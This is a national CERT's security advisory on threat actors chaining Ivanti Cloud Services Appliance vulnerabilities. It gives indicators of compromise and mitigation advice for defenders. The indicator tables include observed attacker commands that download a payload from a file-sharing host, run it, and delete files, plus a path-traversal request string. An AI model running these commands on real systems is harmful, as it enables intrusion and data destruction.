Computer Emergency Response Team of Mauritius
Ministry of Information Technology, Communication and Innovation

CERT-MU Security Advisory

CERT-MU Advisories AD-2025-01

Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications

Date of Issue: 20 May 2025

Severity Rating: High

Systems Affected:

- Ivanti CSA version 4.6x versions before 519,
- Ivanti CSA versions 5.0.1 and below

Executive Summary

This advisory is released by CERT-MU in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.

According to CERT-MU and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors' primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CERT-MU strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA.

Network administrators are encouraged to look for malicious activity on their networks using the detection.

Technical Details

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963. In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.

- CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims' network and execute arbitrary commands on the appliance [T1219].
- CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.
- CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.

According to Ivanti's advisories and industry reporting, these vulnerabilities were exploited as zero days.

Indicators of Compromise:

Table 1: IP Address Used for Credential Theft, September 2024

Type	IOC	Description
"/client/index.php%3f.php/gsb/datetime.php	142.171.217[.]195	/var/log/messages
"/client/index.php%3f.php/gsb/datetime.php	154.64.226[.]166	/var/log/messages-20240904.gz
"/client/index.php%3f.php/gsb/datetime.php	216.131.75[.]53	
"/client/index.php%3f.php/gsb/datetime.php	23.236.66[.]97	/var/log/messages-20240905.gz
"/client/index.php%3f.php/gsb/datetime.php	38.207.159[.]76	/var/log/messages-20240906.gz

Table 2: Survey 2, Ivanti CSA Network IOC List, September 2024

Type	IOC	Description
	149.154.167[.]41	
	95.161.76[.]100	
hxxps://file.io/E50vtqmJP5aa		
hxxps://file.io/RBKuU8gicWt		
hxxps://file.io/frdZ9L18R7Nx		
hxxp://ip.sb		
hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis		
	142.171.217[.]195	
	108.174.199[.]200	
	206.189.156[.]69	
	108.174.199[.]200/Xa27efd2.tmp	
	142.171.217[.]195	

Table 3: Additional IOCs Derived from Incident Response, September 2024		
Type	**IOC**	**Description**
Ipv4	107.173.89[.]16	
Ipv4	38.207.159[.]76	
Ipv4	142.171.217[.]195	
Ipv4	154.64.226[.]166	
Ipv4	156.234.193[.]18	
Ipv4	216.131.75[.]53	
Ipv4	205.169.39[.]11	
Ipv4	23.236.66[.]97	
Ipv4	149.154.176[.]41	
Ipv4	95.161.76[.]100	
Ipv4	142.171.217[.]195	
Ipv4	108.174.199[.]200	
Ipv4	206.189.156[.]69	
Ipv4	142.171.217[.]195	
Ipv4	67.217.228[.]83	
Ipv4	203.160.72[.]174	
Ipv4	142.11.217[.]3	
Ipv4	104.168.133[.]228	
Ipv4	64.176.49[.]160	
Ipv4	45.141.215[.]17	
Ipv4	142.171.217[.]195	
Ipv4	98.101.25[.]30	
Ipv4	216.131.75[.]53	
Ipv4	134.195.90[.]71	
Ipv4	23.236.66[.]97	
Hash	a50660fb31df96b3328640fdfbeea755	
Hash	53c5b7d124f13039eb62409e1ec2089d	
Hash	698a752ec1ca43237cb1dc791700afde	
Hash	aa69300617faab4eb39b789ebfeb5abe	
Hash	c2becc553b96ba27d60265d07ec3bd6c	
Hash	cacc30e2a5b2683e19e45dc4f191cebc	/opt/ivanti/csa/broker/webroot/client/help.php
Hash	061e5946c9595e560d64d5a8c65be49e	/opt/landesk/broker/webroot/gsb/view.php
Hash	e35cf026057a3729387b7ecfb213ae 62a611f0f1a418876b11c9df3b56885bed	/tmp/brokerdebug
Hash	c7d20ca6fe596009afaeb725fec8635f	/opt/landesk/broker/webroot/gsb/help.php
Hash	F7F81AE880A17975F60E1E0FE1A4048B	/opt/landesk/broker/webroot/gsb/DateTimeTab.php
Hash	86B62FFD33597FD635E01B95F08BB996	/opt/landesk/broker/webroot/gsb/style.php
Hash	DD975310201079CACD4CDE6FACAB8C1D	/opt/landesk/broker/webroot/client/index.php
Hash	1B20E9310CA815F9E2BD366FB94E147F	/sbin/systemd Configuration file at /WpService.conf
Hash	30f57e14596f1bcad7cc4284d1af4684	/sbin/systemd

		Configuration file at /WpService.conf
URL	hxxps://file.io/E50vtqmJP5aa	
URL	hxxps://file.io/RBKuU8gicWt	
URL	hxxps://file.io/frdZ9L18R7Nx	
URL	hxxp://ip.sb	
URL	hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis	
URL	108.174.199.200/Xa27efd2.tmp	
URL	45.33.101.53/log	
URL	45.33.101.53/log2	
URL	cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun	
URL	cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun	
domain	gg.oyr2ohrm.eyes[.]sh	
domain	ggg.oyr2ohrm.eyes[.]sh	
domain	gggg.oyr2ohrm.eyes[.]sh	
domain	txt.xj[.]hk	
domain	book.hacktricks[.]xyz	
host	sh -c setsid /dev/shm/redis &	
host	sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o /dev/shm/redis2	
host	sh -c mv /dev/shm/redis2 /dev/shm/redis	
host	sh -c rm /dev/shm/*	
host	rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis	
host	78cc672218949a9ec87407ad3bcb5db6	Agent.zip
host	d13f71e51b38ffef6b9dc8efbed27615	Log.log
host	d88bfac2b43509abdc70308bef75e2a6	Log.exe
host	R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3)	R.exe
host	ae51c891d2e895b5ca919d14edd42c26	CAService.exe
host	d88bfac2b43509abdc70308bef75e2a6	Lgfxsys.exe
host	f82847bccb621e6822a3947bc9ce9621	NetlO.cfg
host	c894f55c8fa9d92e2dd2c78172cff745	XboVFyKw.tmp
host	MD5: Unknown	Wi.bat
host	MD5: Unknown	dCUgGXfm.tmp
host	MD5: Unknown	DijZViHC.tmp
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf	
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini	
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ;	

	PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock --localtime --systohc	
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool --fullList	
Ipv4	142.171.217[.]195	
Ipv4	107.173.89[.]16	
Ipv4	192.42.116[.]210	
Ipv4	82.197.182[.]161	
Ipv4	154.213.185[.]230	
Ipv4	216.131.75[.]53	
Ipv4	23.236.66[.]97	
Ipv4	208.105.190[.]170	
Ipv4	136.144.17[.]145	
Ipv4	136.144.17[.]133	
Ipv4	216.73.162[.]56	
Ipv4	104.28.240[.]123	
Ipv4	163.5.171[.]49	
Ipv4	89.187.178[.]179	
Ipv4	163.5.171[.]49	
Ipv4	203.160.86[.]69	
Ipv4	185.220.69[.]83	
Ipv4	185.199.103[.]196	
Ipv4	188.172.229[.]15	
Ipv4	155.138.215[.]144	
Ipv4	64.176.49[.]160	
Ipv4	185.40.4[.]38	
Ipv4	216.131[.]75.53	
Ipv4	185.40.4[.]95	

Solution

Users are advised to:

- **Upgrade to the latest supported version of Ivanti CSA** immediately for continued support.
- More information is available on: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
- Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
- Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.

- Establish a baseline and maintain detailed logs of network traffic, account behavior, and software. This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
- **Keep all operating systems, software, and firmware up to date**. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems.
- **Secure remote access tools by:**
    - Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
- **Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services.** If RDP is necessary, rigorously apply best practices, for example:
    - Audit the network for systems using RDP.
    - Close unused RDP ports.
    - Enforce account lockouts after a specified number of attempts.
    - Apply phishing-resistant multifactor authentication (MFA).
    - Log RDP login attempts.
- Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
- **Follow best cybersecurity practices in your production and enterprise environments,** including mandating phishing-resistant multifactor authentication (MFA) for all staff and services.

References

1. Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)
2. Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)

3. Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)
4. Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA
5. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-022a

Postal address
Mauritian Computer Emergency Response Team (CERT-MU)
Ministry of Information Technology, Communication and Innovation
2nd Floor, Wing A,
Shri Atal Bihari Vajpayee Tower,
Cybercity Ebene,